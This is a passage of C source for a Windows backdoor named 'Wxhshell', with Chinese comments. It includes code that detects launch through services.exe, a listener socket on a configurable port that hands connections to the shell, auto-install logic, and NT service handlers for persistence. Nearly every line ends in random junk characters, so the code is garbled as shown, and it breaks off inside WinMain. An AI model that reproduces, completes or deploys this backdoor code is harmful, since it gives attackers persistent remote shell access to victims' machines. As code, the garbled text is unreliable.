DWORD BasePriority; Ssw&'B|o
ULONG UniqueProcessId; `os8;`G
ULONG InheritedFromUniqueProcessId; $6#
lTYN~
} PROCESS_BASIC_INFORMATION; k}HQq_Y(<
La9r
PROCNTQSIP NtQueryInformationProcess; {M[~E|@D
)%qtE34`
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *
MEe,4
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7lR<@$q
7-X/>v
HANDLE hProcess; {c@G$
PROCESS_BASIC_INFORMATION pbi; ;T>+,
v77fQ0w3
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1M+oTIN
if(NULL == hInst ) return 0; ` 5#hjLe
~r&D6Y
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E?cZbn*>`
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); doM?8C#`
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3{e'YD~hP
1%jH^,t/m
if (!NtQueryInformationProcess) return 0; ;%Q&hwj
e #M iaX
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !R6ApB4ZI
if(!hProcess) return 0; M&f#wQ
qp&4 1
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3cixQzb}u
TF\sP8>V
CloseHandle(hProcess); +xp*]a
! Mo`^t
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8teJ*sz
if(hProcess==NULL) return 0; J{tVa(.
63M=,0-Qt
HMODULE hMod; )xt4Wk/
char procName[255]; [7.agI@=
unsigned long cbNeeded; #\ #3r
^A!$i$NON
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =9$mbn
r
f{ ^:3"i
CloseHandle(hProcess); h e&V# #
m$:&P|!'p
if(strstr(procName,"services")) return 1; // 以服务启动 bX2"89{
Qxt@V
return 0; // 注册表启动 -DCa
} {G*OR,HN
bfdVED
// 主模块 Qn|+eLY
int StartWxhshell(LPSTR lpCmdLine) 9M'DC^x*T
{ "U8S81'
SOCKET wsl; 78]gtJ
BOOL val=TRUE; CVQB"L
int port=0; Uu'dv#4Iw
struct sockaddr_in door; &z@~B&O
hO( RZ'{
if(wscfg.ws_autoins) Install(); X+l'bp]Ry
6ep>hS4A&
port=atoi(lpCmdLine); rMp9jG@3
%|+E48
if(port<=0) port=wscfg.ws_port; wC`
R>)
O3qM1-k}S
WSADATA data; &HDP!SLS
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,.v7FM^gO
LM"y\q ]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; +iA=y=;blH
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |vu>;*K
door.sin_family = AF_INET; XvKFPr0~
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Tlodn7%",
door.sin_port = htons(port); yPgmg@G@/
6rX_-Mm6w
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Bs!4H2@{(]
closesocket(wsl); `i fiL
return 1; *b)Q5dw@1
} _MfD
AK-}V4C/A
if(listen(wsl,2) == INVALID_SOCKET) { O#_b7i
closesocket(wsl); Vrp[r *V@E
return 1; lA;a
} _[K#O,D,
Wxhshell(wsl); M+xdHBg
WSACleanup(); jH*)%n5,\
N1x@-/xa|
return 0; -<f;l_(
EKZVF`L
} ..<3%fL3
23ze/;6%A
// 以NT服务方式启动 pq!%?m]
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JPx7EEkZR4
{ L,]=vba'$
DWORD status = 0; 5#2F1NX
DWORD specificError = 0xfffffff; - u3e5gW
-1r2 K
serviceStatus.dwServiceType = SERVICE_WIN32; eon!CE0
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,FQK;BU!lh
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G^Tk 20*
serviceStatus.dwWin32ExitCode = 0; o>lmst%<
serviceStatus.dwServiceSpecificExitCode = 0; #AViM_u
serviceStatus.dwCheckPoint = 0; }5 9U}@xC
serviceStatus.dwWaitHint = 0; xN"Z1n7t
NgZUnh3{
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =VP=|g
if (hServiceStatusHandle==0) return; e}{U7xQm1
#D%ygh=
status = GetLastError(); f [o%hCS
if (status!=NO_ERROR) -9Ws=r0R
{ k(s;,B\
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8cWZ"v
serviceStatus.dwCheckPoint = 0; k9si|'
serviceStatus.dwWaitHint = 0; ^]c6RE_
serviceStatus.dwWin32ExitCode = status; -X1X)0v$
serviceStatus.dwServiceSpecificExitCode = specificError; (9RslvKL
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3I=kr
return; kCP$I732
} F}
DUEDND*
%i0\1hhV<
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,^s
serviceStatus.dwCheckPoint = 0; mDMt5(.
serviceStatus.dwWaitHint = 0; n \G Ry'
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]$iN#d|ZU
} 3:CO{=`\7B
pBJAaCGm
// 处理NT服务事件,比如:启动、停止 0t.p1
VOID WINAPI NTServiceHandler(DWORD fdwControl) )mN9(Ob!
{ P`SnavQBt
switch(fdwControl) 15H6:_+=0
{ o|8`>!hF
case SERVICE_CONTROL_STOP: g:)DNy
serviceStatus.dwWin32ExitCode = 0; (!K_Fy@
serviceStatus.dwCurrentState = SERVICE_STOPPED; ]F*3"y?)2
serviceStatus.dwCheckPoint = 0; uQCo6"e
serviceStatus.dwWaitHint = 0; =[tSd)D,y
{ K`KLC.j
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (k"_># %
} 9}tG\0tL*
return; Q=cQLf;/'
case SERVICE_CONTROL_PAUSE: 30cd|
S?
serviceStatus.dwCurrentState = SERVICE_PAUSED; f"5g>[1
break; 6tjcAsV
case SERVICE_CONTROL_CONTINUE: 2&(sa0*y
serviceStatus.dwCurrentState = SERVICE_RUNNING; R4's7k
break; dj9?t
case SERVICE_CONTROL_INTERROGATE: (Ye>Cp+]
break; -p,x&h,p
}; }-<zWI{p
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _GtBP'iN
} Owv+1+B
)h$NS2B`
// 标准应用程序主函数 Vy)hDa[&
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Uu p(6`7
{ in%;Eqk
^s/
// 获取操作系统版本 adEJk
OsIsNt=GetOsVer(); Pt< s* (
GetModuleFileName(NULL,ExeFile,MAX_PATH); /uqu32;o
T5lQIr@a
// 从命令行安装 &